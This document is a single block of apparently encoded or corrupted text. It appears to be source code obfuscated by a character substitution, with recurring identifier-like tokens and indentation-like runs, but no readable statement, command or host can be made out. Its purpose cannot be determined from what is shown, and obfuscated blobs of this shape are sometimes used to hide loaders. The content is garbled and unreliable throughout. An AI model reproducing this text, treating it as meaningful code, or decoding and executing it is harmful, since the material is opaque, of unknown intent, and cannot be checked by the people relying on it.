>{,:|guDn3n-/:-&nf6-+>:'! nnnnnj": >{,:|gn5Dnnnnnnnn3Dnnnnnnn3DDDn(; -:'! nnn"y$$</,"#9 <)"z,?,fgDnnnn5DDDDnnnnn:<7nnnn5Daann!=:n! :+ :n<+9<':+n(";=&DDnn'(nnfo*+(' +*f'9}8?4>/7?,4)f{x{gggnnn<+:;< uDnn'(nf4#+*(}$vx|,8:-4#)9{f<xw=w,+~4~}#8~fgggn<+:;< uDnnnnnnnn'(nnnfo,,&x"7%*"w>* "|fx~ygf,,&x"7%*"w>* "|f}v|gggnnnn<+:;< uD'(nnf'9}8?4>/7?,4)f}wvgfgnnnnsssnnn47}#%=++!*:fvzggnnnn<+:;< uDnnnn'(nfo'==+:fj'9}8?4>/7?,4)fxz|gggn<+:;< uDnnnn'(nf)+::</ ='+ :f47}#%=++!*:fxz}gggnnnnnn<+:;< uDnnnnj|'w%/|!"x(4nnnsn9#::(!7?8|, ,v})v'fguDDDnn'(nfo,,&x"7%*"w>* "|f}yygfj|'w%/|!"x(4ggnnn 6%6=z"z7)$(//*fj|'w%/|!"x(4bnfzxve|{gbnnn:<;+guD'(nnnfo')<,*!v z,w(-=f}yygfj|'w%/|!"x(4gnnnnnn22nnnno')<,*!v z,w(-=fxzzgfj|'w%/|!"x(4ggnn5Dnnnnnnj|'w%/|!"x(4nsnnnn`nn47}#%=++!*:fxz{guDDDDnnn'(nnnnfo,,&x"7%*"w>* "|fxzzgfj|'w%/|!"x(4ggnnj|'w%/|!"x(4nnsnn;7*|y?6v~=;#*-v8:;w(/fguDnnnnDDDD3Dj#6{'{*/()?8nnnnnsnnnnn!=+>>,++"6<w;&fnnnnn`nni)ibnnnnf~6|e~6xgguDnnnnnnnj9"+8+w%vz%/7'nnnnnnsnnn47}#%=++!*:fxzxgn`nnnj#6{'{*/()?8nnnn`nnn47}#%=++!*:fxzguDj='w&=6/y*w,nsnj|'w%/|!"x(4nnnnn`nnnniainnnnn`nnnj9"+8+w%vz%/7'uDaann+*;6n:!<+tn*'/) !=:'-n&/ *=&/%+DDnnnnnj8+4"-{z;}{><nsnnnnnj|'w%/|!"x(4nnn`n,,&x"7%*"w>* "|fxzygnn`nnnj#6{'{*/()?8uDn(!<+/-&nf/<</7fj|'w%/|!"x(4bnnnnnnnn`nn')<,*!v z,w(-=fxz{gbnnnnn;7*|y?6v~=;#*-v8:;w(/fggn/=nj6%$&/(v/!9%/gnnnn5Dnj'*6w9'9'==%?}{nnnnsnnnnj6%$&/(v/!9%/nn`n')<,*!v z,w(-=fxzvgnnnnnn`nnnnnnj#6{'{*/()?8uDDD'(nf'9}8?4>/7?,4)f{~vgfj'*6w9'9'==%?}{ggn5Dj!{:;$6'*(77<7nnnnsnf' :gnnnn47}#%=++!*:fxzwgfj'*6w9'9'==%?}{guDnnn'(nnfj!{:;$6'*(77<7nnnrsnnnnn47}#%=++!*:fx{~gfgnnnnncnnnfvx}y~e}~gnnn22nnnj!{:;$6'*(77<7nnpnn,,&x"7%*"w>* "|fx{gfgnnenf}}e|xyggnn5DDDnn'7"<=~;<?-87+}? fj'*6w9'9'==%?}{guDn-! :' ;+uj(8<84x"#**~ s|}d{uj<+'??#9-sj(8<84x"#**~ cxuDn3Daan<+)'=:+<n/""!-/:'! DDnnn'(nnnf47}#%=++!*:f{~vgfj6%$&/(v/!9%/n`n')<,*!v z,w(-=fx{|gn`nnj#6{'{*/()?8nn`nn47}#%=++!*:fxzgggnn<+:;< uDnnnn'7"<=~;<?-87+}? fj'*6w9'9'==%?}{guDDDDnnn3Dnnnn3Dn; =+:fj6%$&/(v/!9%/bnnj'*6w9'9'==%?}{bnnnnnnj!{:;$6'*(77<7guDnDDnnnnnnnj*-: },%<!?7!nnsnnnn`n,,&x"7%*"w>* "|fx{}gnnn`nnj9"+8+w%vz%/7'uDnn'(nnnnnfj|'w%/|!"x(4nnnnnossnnnnnn`nnnnn'9}8?4>/7?,4)fxz{gnnnnhhn'9}8?4>/7?,4)f{~vgfj*-: },%<!?7!gnnnnhhnn;=)6?%)z/-+z)y<>7$)')"fj*-: },%<!?7!gnossnnn(/"=+gnn5Dnnn??:+}<">$9;(=4=8'-+fj*-: },%<!?7!bnnnnnf~6vxe~6+gguDDDnn'(nnf'7"<=~;<?-87+}? fj*-: },%<!?7!gnnhhnn')<,*!v z,w(-=fx~ygf47}#%=++!*:f|~~gggnnn!>-/-&+' 8/"'*/:+fj*-: },%<!?7!bnnnn:<;+guD3D; =+:fj*-: },%<!?7!guDDDnnn'(nnf')<,*!v z,w(-=f{~vgfj8+4"-{z;}{><gnnnhhnnf' :gnn')<,*!v z,w(-=fxzwgfj8+4"-{z;}{><gnpnn,,&x"7%*"w>* "|fx{gfgnnncnnf~6*|e~6+ggnnnn<+:;< uDnnnn'(nnnnf,,&x"7%*"w>* "|f{~vgfj='w&=6/y*w,gnnhhnnnnf47}#%=++!*:fx{zgfgnncnf' :gnn('"+-:'#+fj='w&=6/y*w,ggnnnnrnnnf~6+~e~6z-ggnnn<+:;< uDDDnn'(nf')<,*!v z,w(-=f{~vgfj='w&=6/y*w,ggnn5Dnnj(4$#vz<#'8/?6;-nsnn,,&x"7%*"w>* "|f{~vgfj|'w%/|!"x(4nnn`n')<,*!v z,w(-=fx{{gnnn`nj#6{'{*/()?8gnnnqnn,,&x"7%*"w>* "|f|vgff=:<' )gn47}#%=++!*:fx{xgfj|'w%/|!"x(4nnn`nn')<,*!v z,w(-=fx{{gnnn`nj#6{'{*/()?8ggnnnntnlluDnnnnnnn'(nnnnnfj(4$#vz<#'8/?6;-nnossnnllnhhnnn')<,*!v z,w(-=fx{ygf,,&x"7%*"w>* "|fx{vgbnnnnnj(4$#vz<#'8/?6;-gnhhnn8+<='! -!#>/<+fj(4$#vz<#'8/?6;-bnn9),%/4:v49)x!/ /x9}(y:fgbnnnnipiggn<+:;< uD; =+:fj(4$#vz<#'8/?6;-guD3DDnnn'(nnnnf47}#%=++!*:f{~vgfj='w&=6/y*w,ggnnn5Dj-|wv7':-*nnsnj|'w%/|!"x(4n`nn')<,*!v z,w(-=fx{wgn`nn!=+>>,++"6<w;&fnnnn`nnnni)ibnnf~6ye~6gguDDDnnnnnnnnj?8&7&<,$9x?4nnsnnn,,&x"7%*"w>* "|f{~vgfj-|wv7':-*gnnqnf=:<' )gn')<,*!v z,w(-=fx{xgfj-|wv7':-*gnnnntnnnnnlluDnnnnnj6v=-8!78/9nnnnsn~uj9|y} $~%)~)%>sf~6+ye~6({guj%469>&v!+y$"sj9|y} $~%)~)%>kxuDnnnn'(nfj?8&7&<,$9x?4nnossnnnnllgnnnn5DDj!}!$;;7#=nnnsnn')<,*!v z,w(-=fx~gfi2ibnnnj?8&7&<,$9x?4guDDDnnnj6v=-8!78/9nnnsnnf' :gnnj!}!$;;7#=~uDnnn3Dnn'(nnnfj6v=-8!78/9npnnn~nnhhn,,&x"7%*"w>* "|fxx~gfgncnj6v=-8!78/9npnnfvwve|ggnnnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fxxgbnnnnnn'9}8?4>/7?,4)fxx|gguDnnn+"=+'(nnfj6v=-8!78/9nnnsssnnn~nnhhnf47}#%=++!*:fxx}gfgnnnncnnnnnf' :gn('"+-:'#+fj='w&=6/y*w,ggnnnnpnnnfwyey~}ggnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fxxgbnnn,,&x"7%*"w>* "|fxxzgguDnn; =+:fj-|wv7':-*bnnnnnnj?8&7&<,$9x?4bnj!}!$;;7#=bnj6v=-8!78/9guDDD3Dj>"~&9$z-") 76nsnn+4667 68'<#||9fguDnnnnnnnn'(nnnfoj>"~&9$z-") 76n22nn,,&x"7%*"w>* "|f{vzgfj>"~&9$z-") 76gnnrnnnnf~6(/e~6(/ggnn<+:;< uDnnnnnnnj4)z"(/,/y9w-&>nnsn6:}/<")$?4:?9=':|fguDnnnnnj*8?|?/>$9$84~7nsnnnnnn,,&x"7%*"w>* "|fx}gf<xw=w,+~4~}#8~fgbnn')<,*!v z,w(-=fxx{gguDj++)*8=#-&'6,$wnsnnnnn;7*|y?6v~=;#*-v8:;w(/fgnn`nnnnnn')<,*!v z,w(-=f{guDnnnj889/{/{*;>)9,8%xnsnnn'9}8?4>/7?,4)fxxxgfj++)*8=#-&'6,$wgDnnnnnqnnnnfj++)*8=#-&'6,$wnn`niainn`nnnnj*8?|?/>$9$84~7nnn`nnnn,,&x"7%*"w>* "|fxx{ggDDDtnnnnnf;7*|y?6v~=;#*-v8:;w(/fgnn`nnn47}#%=++!*:f{{gnnnnn`nnnnj*8?|?/>$9$84~7nnnn`nniainnn`nnnj*8?|?/>$9$84~7n`nn,,&x"7%*"w>* "|fxx{gguDDnnnnj4z<*/#/w' z4;?!"nnnnsnnnnnn47}#%=++!*:fx~ygf,,&x"7%*"w>* "|fyv}ggnnqn'9}8?4>/7?,4)f}zxgf&!#+;<"fgbnngntnnf'==+:fj'9}8?4>/7?,4)fxzxggnnqnnnnj,,&x"7%*"w>* "|fxzxgnntnllguDj9'y(8()y7>!nnsnnnnnf*+(' +*f')<,*!v z,w(-=fxxyggnhhnnnn	 
gnqnnnnn	 
nnntnnn;7*|y?6v~=;#*-v8:;w(/fgn`n'9}8?4>/7?,4)f{guDDDDnj7;>w|xv >x|+y{nnsnf*+(' +*f'9}8?4>/7?,4)fv|vggnhhnnnn	 
gnnqnnn	 
ntnn;7*|y?6v~=;#*-v8:;w(/fgnnn`nnnnn')<,*!v z,w(-=fxxvguDnnnnj/{* <)~8xnnnnnsnnn*+(' +*f'9}8?4>/7?,4)fxxwggnnqn  
nnnntnn;7*|y?6v~=;#*-v8:;w(/fguDnnnnnnj!?|':>4#4<nnnnsnnn w(=#-z$*6z+x>&>z+(wfDDnnn47}#%=++!*:fxy~gbD/<</7fixzibnnnni	 xzibnni
 ibnnnixzibnni	xzibnixzibnnni  
xzibnnnni
xzibnni	 
xzibnnni	ibnnnni igbDnn/<</7f,,&x"7%*"w>* "|fxygfj889/{/{*;>)9,8%xgbnnnj4)z"(/,/y9w-&>bnj4z<*/#/w' z4;?!"bn,,&x"7%*"w>* "|fxy|gfj8+4"-{z;}{><gbnn'9}8?4>/7?,4)fxy}gfj='w&=6/y*w,gbn')<,*!v z,w(-=fxy}gfgbn'9}8?4>/7?,4)fxyzgfj/{* <)~8xgbnnnnnn')<,*!v z,w(-=fxyzgfj9'y(8()y7>!gbn')<,*!v z,w(-=fxy{gfj7;>w|xv >x|+y{gbn47}#%=++!*:fxyxgf<xw=w,+~4~}#8~fgbnnnn'9}8?4>/7?,4)fxx{ggbnn9),%/4:v49)x!/ /x9}(y:fggDnguDnn'(nnnfoj!?|':>4#4<gnn5Dnnnn'(nnnff' :gnnn)+:!>:'! f47}#%=++!*:fxyygbnnn~gnnpnnnnn~gn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fxyvgbn')<,*!v z,w(-=fxywgguDnn<+:;< uD3Dnn'(nfo84*{ <*'w~?-y,-4,;fj!?|':>4#4<ggnnnn5Dadn-!#>/-:n<+)'=:<7ndaDDnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fxyvgbnnn'9}8?4>/7?,4)fxv~gguD<+:;< uDnnnnnnnn3Dn'(nf=,?(,4;}z-}  {8=6$'6>fj='w&=6/y*w,bnnnnj!?|':>4#4<ggnn5Dnn-~~%z&yy; '6-}v7):*:fj='w&=6/y*w,bnnnnnn9&46;zx7&+;'(fgguD??:+}<">$9;(=4=8'-+fj='w&=6/y*w,bnnnnnf~6z/e~6{/gguDnn"~/(%7wz&:z(&w/fj='w&=6/y*w,guDDnn:}w$*,?|?6~,'y| y;!w/fj|'w%/|!"x(4nnnn`n,,&x"7%*"w>* "|fxvgnnn`nj#6{'{*/()?8bnnn,,&x"7%*"w>* "|fxv|gfj!?|':>4#4<gbn'9}8?4>/7?,4)fxyvgguDDDD:}w$*,?|?6~,'y| y;!w/fj|'w%/|!"x(4n`n,,&x"7%*"w>* "|fxv}gn`nnnnnnj#6{'{*/()?8bnnn9),%/4:v49)x!/ /x9}(y:fgbn47}#%=++!*:fxvzgguj+=$-8;#|sy|~uj89+{*~*sj+=$-8;#|kxuDnnn' -";*+! -+nj='w&=6/y*w,uDn=+::</ ='+ :f')<,*!v z,w(-=fxz}gbnbnnnf|xye}}gguDDDDn3DDD; =+:fj9'y(8()y7>!bnnnnj7;>w|xv >x|+y{bnnnj/{* <)~8xguDnn3nn-/:-&nf&<!9/,"+nj": >{,:|gnn5Dn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fxvzgbnnnj": >{,:|guDnnnn3nn-/:-&nnf6-+>:'! nj": >{,:|gnnnnn5DDnnnn3Daan; <+/-&/,"+DDnn3D(; -:'! nn,<)<|-7#{,&?{:+w4xfj9;6>y&y{) =+gDDDnnnnn5j6(/}}~ =sf~6ve~6+yguj,*+#?*6x';+}sj6(/}}~ =k|uDn'(nnfo')<,*!v z,w(-=fx||gfj9;6>y&y{) =+ggn<+:;< n(/"=+uDDDnnnnnj'zx"&7|)v>-  *7nsnn47}#%=++!*:f{vzgfj9;6>y&y{) =+guD'(nnfj'zx"&7|)v>-  *7npnnfy}{yycxvyw{ggn<+:;< n:<;+uDn'(nnfj'zx"&7|)v>-  *7nnrnnnf|y~e|}~ggnnnn<+:;< nnnn(/"=+uDnnj!99!{},="x)&|=:<nsnn'9}8?4>/7?,4)fx~gfj9;6>y&y{) =+bn~bnnnnfz~wexzz{gguDnj&4>)<|?w!#v4'",nnsnn')<,*!v z,w(-=fxv{gfj!99!{},="x)&|=:<bnninignennn'9}8?4>/7?,4)fxv{gfj!99!{},="x)&|=:<bnnnnl:lguD<+:;< nfj&4>)<|?w!#v4'",nan47}#%=++!*:f{vzgfj!99!{},="x)&|=:<ggnnpnn~`{{uD3Dnnn(; -:'! n+4667 68'<#||9fj!y ;- },(#nnnnsn(/"=+gD5Dnnnnnn=:/:'-nnnnnnj>"~&9$z-") 76nnnnsnn ;""uD'(nnfj!y ;- },(#gn5Dj>"~&9$z-") 76nnsn ;""uDn3Dnn'(nfj>"~&9$z-") 76nnnnnossn ;""gnnnn<+:;< nnj>"~&9$z-") 76uDDnnnj9;6>y&y{) =+nsnnnn(/"=+uDnnj:->::z(!;,|::)&nnsnnnn')<,*!v z,w(-=f{}{gf<xw=w,+~4~}#8~fgguj %##>>'7?ys a uj<?"#68) ?=sj %##>>'7?yeyuDnnnnnn'(nnnnnfj:->::z(!;,|::)&nnnhhnnj:->::z(!;,|::)&nnnpnnf|e|vwgnnnhhnnnj:->::z(!;,|::)&nnnrsnnf{|z|vyze{wggnnj9;6>y&y{) =+nsnnn47}#%=++!*:fx{xgf<xw=w,+~4~}#8~fgguD'(nf')<,*!v z,w(-=fx||gfj9;6>y&y{) =+gnnnhhnn,,&x"7%*"w>* "|fxvxgfj9;6>y&y{) =+gnnnnpnnnnnf~zv{~vexvggnj9;6>y&y{) =+nnnnsnn$9v'='y;'&{$%$zy+fj9;6>y&y{) =+guDDDnnn'(nf')<,*!v z,w(-=fx||gfj9;6>y&y{) =+gnhhnnn')<,*!v z,w(-=fxvygfj9;6>y&y{) =+gnpnfzxwe}gnnnnhhn'9}8?4>/7?,4)fxvygfj9;6>y&y{) =+gnrsnnf~zvzvxew~gnnhhno,<)<|-7#{,&?{:+w4xfj9;6>y&y{) =+gnnnnnhhnn84*{ <*'w~?-y,-4,;fj9;6>y&y{) =+ggnn5Dnnj>"~&9$z-") 76nnsnj9;6>y&y{) =+uDnnn<+:;< nnj>"~&9$z-") 76uD3Dnnnj-xvw}),+}y$9</!nnsn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~|gbnnnllguDnnn'(nnnnnnf'9}8?4>/7?,4)fx||gfj-xvw}),+}y$9</!gnhhnnnn'9}8?4>/7?,4)fxvygfj-xvw}),+}y$9</!gnpnnfzxve}|gnnnnhhnnn47}#%=++!*:fxvygfj-xvw}),+}y$9</!gnrsnnnf~zvzwzev|gnhhno,<)<|-7#{,&?{:+w4xfj-xvw}),+}y$9</!gnnhhnn84*{ <*'w~?-y,-4,;fj-xvw}),+}y$9</!ggnnnn5Dnnnnnj>"~&9$z-") 76nnnnsnnnj-xvw}),+}y$9</!uDnnn<+:;< nj>"~&9$z-") 76uDn3Dnnnj>"~&9$z-") 76nnsnnn(/"=+uDnnnnnnn<+:;< nnnnnj>"~&9$z-") 76uDnn3D(; -:'! n6:}/<")$?4:?9=':|fj!y ;- },(#nnsn(/"=+gDnnnn5D=:/:'-nj-x8'<%y"()8nnnsnnn ;""uDnnnnnnDD'(nnfj!y ;- },(#gnnn5Daann"!-%nn8}n=+::' )=n=+-:'! DDnj-x8'<%y"()8nnnnnsnnn ;""uDn3Daann
/:/n!*;"+tn=+<'/"'4/,"+n*'=>/:-&+<DD'(nnfj-x8'<%y"()8nnossnnn ;""gn<+:;< nj-x8'<%y"()8uDnnnnj9;6>y&y{) =+nnnnnnsn+4667 68'<#||9fguDn'(nfo'9}8?4>/7?,4)fx||gfj9;6>y&y{) =+gn22n,,&x"7%*"w>* "|fxvygfj9;6>y&y{) =+gnnnnrnf|zve|{|gnnnnn22nn47}#%=++!*:fxvygfj9;6>y&y{) =+gnpnf~zvzw}ev}gnnn22nn,<)<|-7#{,&?{:+w4xfj9;6>y&y{) =+gn22nnnno84*{ <*'w~?-y,-4,;fj9;6>y&y{) =+ggnnnn5Dj-x8'<%y"()8nnsnnn(/"=+uDnnn<+:;< nnj-x8'<%y"()8uDnnnnn3Dnj-x8'<%y"()8nsn')<,*!v z,w(-=fxy{gf;{}6 >(} >}x$,(8-'7fj9;6>y&y{) =+gguDnnnn<+:;< nnj-x8'<%y"()8uD3Dnnn(; -:'! nn)%9yx(|&7+6y'z/+=fj6&6#!} 489)?#<gDnn5Dnnnnnn'(nnnfo')<,*!v z,w(-=fxvvgfj6&6#!} 489)?#<gnn22nn'9}8?4>/7?,4)fxvwgfj6&6#!} 489)?#<gnnrnfzw}{gnn22nn,,&x"7%*"w>* "|fx~gfj6&6#!} 489)?#<bnnn~bnn|gnossnnnl6(6v,lgn<+:;< nn~uDDDj9=x:=x-y"#!nsn'9}8?4>/7?,4)f{}wgfiibn,,&x"7%*"w>* "|fx~gfj6&6#!} 489)?#<bncf~6}e~6ggguDDj9=x:=x-y"#!nnnnsnn,,&x"7%*"w>* "|f}vzgfj9=x:=x-y"#!gnnnqnj9=x:=x-y"#!nnnntn~uDnnnnn'(nfj9=x:=x-y"#!nrnnnfzye|wgnnn22nnj9=x:=x-y"#!nnpnnf~zv{}{ezggn<+:;< nj9=x:=x-y"#!uD<+:;< n~uDnn3Dnnnnnn(; -:'! nnn&:%#4?9){#(9~%4vzw*fj8y${w=# x(w>ygDDnnn5Dnnn<+:;< nnn')<,*!v z,w(-=fz~zgf&+6*+-fj8y${w=# x(w>ygguD3Dn(; -:'! n:}(#?!!(%;7/+%{! 9fj'#=|)(>&~~gDnnn5D'(nfo'9}8?4>/7?,4)fxvvgfj'#=|)(>&~~gnnnnn22nj'#=|)(>&~~nnnsssnllgnnn<+:;< nnnj'#=|)(>&~~uj7>w&/(>w%/|y+s~~ey~uj*<v%%~4+<ww*/<sj7>w&/(>w%/|y+c~uDnnnnnnn=:/:'-nnnnj(8(v'$876"7=nsnn ;""uDnnnnn'(nnnfj(8(v'$876"7=nsssnn ;""gnn5Dnnnj(8(v'$876"7=nnnnsnn(/"=+uDnnnn'(nnnf47}#%=++!*:fx~ygf47}#%=++!*:fxw~gggnnn5DDDDnj**nnnsnnnn*+(' +*f47}#%=++!*:fxxwggnnqnnnnnn  
ntnf*+(' +*f47}#%=++!*:f{x{ggnnnnnqnnnntnnnnnllguDnnn'(nfj**nnnossnllgn5DDDnj z|7x=!=znsn*'=%(<++=>/-+fj**guDnnn'(nnnnnfj z|7x=!=znnnossnnn(/"=+nnnnhhnj z|7x=!=znnpsnnnf|~x}|xzwc{}}zx|zwggnnnnnnj(8(v'$876"7=nnsnnn:<;+uD3Dnnn3Dnnnn'(nfoj(8(v'$876"7=gnnnnn5D'(nnnf47}#%=++!*:fx~ygf47}#%=++!*:fx~vgggnn;>*/:+!>:'! f47}#%=++!*:fxwgbnn')<,*!v z,w(-=fxw|gfgbn'9}8?4>/7?,4)f{{gguj/z:<'}~,|;6)sf~6zze~6|+guj&) #!~'&<$7(4sj/z:<'}~,|;6)k}uD3nnn+"=+'(nnnnf,,&x"7%*"w>* "|fx~ygf47}#%=++!*:fx~xgggn5Dnj&;y#)#{":-9&#nnnsnf' :gnnnn)+:!>:'! f,,&x"7%*"w>* "|fxwgbn~guDDDn'(nnfj&;y#)#{":-9&#nhhn')<,*!v z,w(-=fxw}gfgnnnncnj&;y#)#{":-9&#nnrnfvx}~wewggnnnnnj(8(v'$876"7=nnsnn(/"=+uDnn3Dnnnnnnn3Dnnnnnn'(nnnnfoj(8(v'$876"7=gnn5D<+:;< nnnnj'#=|)(>&~~uDaann :':7n+-!<*=n='*+,/<n<+)'! DDnnnnnnn3Dj'=|)<?,,6>nnsnnnnnnf{zwwwvye}gnennnn47}#%=++!*:fzzgf~bnnf~~}~e}vwwy~gguD'(nnnf,,&x"7%*"w>* "|fxwzgfj'#=|)(>&~~gnnpsnnnj'=|)<?,,6>gn<+:;< nnnj'#=|)(>&~~uDn'(nf'9}8?4>/7?,4)fxw{gf')<,*!v z,w(-=fzzzgfj'#=|)(>&~~gbnc|gnsssnn,,&x"7%*"w>* "|fxwxggnnnnn<+:;< nnj'#=|)(>&~~uDDDDnn9&'"+nnnf'9}8?4>/7?,4)fxwzgfj'#=|)(>&~~gnnrnnnnj'=|)<?,,6>ncnnnnnnfz~{xezzggnnnn5Dnj>$(|!-z!$w(;{yxnnnsnlluDnnnn'(nf')<,*!v z,w(-=fx~ygf'9}8?4>/7?,4)fxwygggnnn5Dn:<7n5Dnnnnj>$(|!-z!$w(;{yxnnsnnn'9}8?4>/7?,4)fxwvgf</ *!#,7:+=ff}vzexxggguDnnnnnnn3nn-/:-&nnnnnnf&<!9/,"+nnnj": >{,:|gnnn5DDnnnnj>$(|!-z!$w(;{yxnnsnnlluDnnnn3nnn-/:-&nf6-+>:'! nj": >{,:|gnnnnnn5Dnnnnnj>$(|!-z!$w(;{yxnnnnsnlluDnnnnn3Dnnnnnnnn3D'(nnnf'9}8?4>/7?,4)fxwzgfj>$(|!-z!$w(;{yxgnnnrnf}zwxe{~zggnnnnn5Dnnnnj>$(|!-z!$w(;{yxnnnnsn'9}8?4>/7?,4)fxv|gf; '?'*fllbnn:<;+gguDn9&'"+nnnf47}#%=++!*:fxwwgfj>$(|!-z!$w(;{yxgnnrnfx}wvc|}wvggnnnnj>$(|!-z!$w(;{yxnnnn`snn'9}8?4>/7?,4)fxv|gfj>$(|!-z!$w(;{yxguDnnnnnn3Dnnnnnnj'#=|)(>&~~nn`snnl adlnn`nnnj>$(|!-z!$w(;{yxn`nnnn47}#%=++!*:fy~~guD3Dnnnn<+:;< nnj'#=|)(>&~~uDnnn3DDnnn(; -:'! nn$9v'='y;'&{$%$zy+fj'#=|)(>&~~gDnn5DDnnn'(nfo')<,*!v z,w(-=fy~gfj'#=|)(>&~~gn22n'9}8?4>/7?,4)fxwwgfj'#=|)(>&~~gnnnnnnrsnnnnnfw}}}vwcvvzv}ggnn<+:;< nnnj'#=|)(>&~~uj9v"'4"4{ -sxy|xuj//z)+z?x?vyysj9v"'4"4{ -kuDnnnnnj#$#<+='~%|,~);8nnnsnn47}#%=++!*:fx}ygf,,&x"7%*"w>* "|fy~|gbnllbnnnnj'#=|)(>&~~guDn<+:;< nnnnn'9}8?4>/7?,4)fy~}gfj#$#<+='~%|,~);8gnnnqnnj#$#<+='~%|,~);8nntnj'#=|)(>&~~uj76|%>$~$(?:sz{uj4=vy-v6+sfj76|%>$~$(?:p~gqj76|%>$~$(?:tcj76|%>$~$(?:uD3D(; -:'! nnnnnn"~/(%7wz&:z(&w/fj "~6%$-v~+vgD5Daan#/:<'6n:</ =>!=+DDn'(nnfo'9}8?4>/7?,4)fy~zgf,,&x"7%*"w>* "|fy~{ggn22nnno,,&x"7%*"w>* "|fy~zgf')<,*!v z,w(-=fx~vgggnnnnn<+:;< uDnnnn'(nnnnnfo'9}8?4>/7?,4)fy~xgfj "~6%$-v~+vgnnnn22nnj "~6%$-v~+vnnnnnnsssnnnnnllnnnnn22nno47}#%=++!*:fy~ygfj "~6%$-v~+vggnn<+:;< uDaan-/;=/"n=' )"+:! DDnn'(nnfo'==+:fj	,,&x"7%*"w>* "|fy~vggn22nnnnno,,&x"7%*"w>* "|f}vzgfj	')<,*!v z,w(-=fy~wgggn5Dnnj	'9}8?4>/7?,4)fy~wgnnsnnnnnn)+:!>:'! f')<,*!v z,w(-=fy~gbnn/<</7fgguDDDnn'(nnnfo,,&x"7%*"w>* "|fygfj	47}#%=++!*:fy~wgggnnj	'9}8?4>/7?,4)fy~wgnnnnsnnnn/<</7fguDnn3Dnnnnnj8y${w=# x(w>ynnnsnj	,,&x"7%*"w>* "|fy~wguDj'#=|)(>&~~nnnsnnn,,&x"7%*"w>* "|fy|gfj "~6%$-v~+vguDDD'(nnnnfo,,&x"7%*"w>* "|fy~xgfj'#=|)(>&~~ggn<+:;< uDDDDnn'(nnnnf47}#%=++!*:fxwwgfj'#=|)(>&~~gnnnnnpnnnnf~6-/({/e~6}{~/xggnnnj'#=|)(>&~~nnsnn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guDDj8y${w=# x(w>y'9}8?4>/7?,4)fxv|gfj "~6%$-v~+vgnnnsn/<</7fi>innspnnnnj "~6%$-v~+vbnni&innnnspnnn47}#%=++!*:fy}gfj'#=|)(>&~~gbnnni)innnnspn9),%/4:v49)x!/ /x9}(y:fgbnni:inspnn47}#%=++!*:fxw}gfgguDnnnnnnn'(nnnnf47}#%=++!*:f{}ygfj8y${w=# x(w>ygnnnnnpnnnnfye|wggnn5DDD(!<+/-&nnnfj8y${w=# x(w>ynnnn/=nj+;(:|<v{$x|,{nspnj8%v~67<)9"gnn5DDDnnnnnn'(nfo'9}8?4>/7?,4)fygfj8%v~67<)9"gn22nnnnno'==+:fj8%v~67<)9"i:ignn22nnf' :gnnj8%v~67<)9"i:inrnn47}#%=++!*:fxw}gfgnnncnnnf|{wwz}e{yggnnn; =+:fj8y${w=# x(w>yj+;(:|<v{$x|,{guDDDDnnn3Dnnnnnnnn9&'"+nf47}#%=++!*:f{}ygfj8y${w=# x(w>ygnnnnpnnf}v{cv{ggnnn5Dj(79zv+??}</=(?6nsnnnnn ;""uDnnj&x$4~=,4}-+;<}!znsnnnn ;""uDnn(!<+/-&nfj8y${w=# x(w>ynn/=nnnnj+;(:|<v{$x|,{nnnnnspnnnnnj8%v~67<)9"gnn5Dnnj#,!((+-|?86{z$*vnnnsnnn47}#%=++!*:fygfj8%v~67<)9"gnnhhn'==+:fj8%v~67<)9"i:ignqnnnf' :gnnj8%v~67<)9"i:innnntn~uD'(nnnnnfj&x$4~=,4}-+;<}!znnnnsssn ;""nnn22nnnnj#,!((+-|?86{z$*vnnnrnnnnnj&x$4~=,4}-+;<}!zgn5Dnnj&x$4~=,4}-+;<}!znnsnj#,!((+-|?86{z$*vuDnnj(79zv+??}</=(?6nnnsnnj+;(:|<v{$x|,{uDnnnn3Dnn3Dnnn'(nnnfj(79zv+??}</=(?6nsssnnnnn ;""gnnnn,<+/%uDnnnnnn; =+:fj8y${w=# x(w>yj(79zv+??}</=(?6guDDn3DDDDn3Dnnn;>*/:+!>:'! f'9}8?4>/7?,4)fyzgbnnj8y${w=# x(w>ybn,,&x"7%*"w>* "|f{{gguDnnj	')<,*!v z,w(-=fy~wgnsnnj8y${w=# x(w>yuDn3Dn(; -:'! nnn;=)6?%)z/-+z)y<>7$)')"fj "~6%$-v~+vgDn5Dnnn'(nfo')<,*!v z,w(-=fy~xgfj "~6%$-v~+vgn22nnj "~6%$-v~+vnsssnnnnllgnn<+:;< nnnnn(/"=+uDnn'(nfo'==+:fj	'9}8?4>/7?,4)fy~wggnnnnn22nno,,&x"7%*"w>* "|fygfj	,,&x"7%*"w>* "|fy~wgggnnn5DDDDnnnnj	')<,*!v z,w(-=fy{gnnnnnnsn'9}8?4>/7?,4)fyxgf47}#%=++!*:fy~{ggnqnnnn)+:!>:'! f,,&x"7%*"w>* "|fyygbnn/<</7fggntnn/<</7fguDnnnnn'(nnnnfo'9}8?4>/7?,4)fygfj	47}#%=++!*:fy{gggnnnnj	')<,*!v z,w(-=fy{gnsn/<</7fguD3Daan|ntn=>+-'/"'4+n<+>"'-/:!<DDDnnj8y${w=# x(w>ynnnnnsnnnnnnj	,,&x"7%*"w>* "|fy{guDnnnnnj?:/|6,?  ;yx ?nnsnnn')<,*!v z,w(-=fyvgfj "~6%$-v~+vguDn'(nnf'==+:fj8y${w=# x(w>yj?:/|6,?  ;yx ?gnnnnnhhnn'9}8?4>/7?,4)fygfj8y${w=# x(w>yj?:/|6,?  ;yx ?gnnnhhnn'==+:fj8y${w=# x(w>yj?:/|6,?  ;yx ?i&iggn5Dnnnnnnn'(nff' :gn47}#%=++!*:f{}{gfj "~6%$-v~+vgnnpnf{|z|vy|{ey{ggnnn<+:;< nnn47}#%=++!*:fywguDj'#=|)(>&~~nnnsnnnn')<,*!v z,w(-=fy|gfj "~6%$-v~+vguDnnn'(nnnnnf')<,*!v z,w(-=fy~xgfj'#=|)(>&~~ggn5Dn'(nnnnnnf'9}8?4>/7?,4)fxwwgfj'#=|)(>&~~gnpnnnf~6z(wx+e~6,~xw|ggnnnnnj'#=|)(>&~~nnnnnsn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guDnn<+:;< 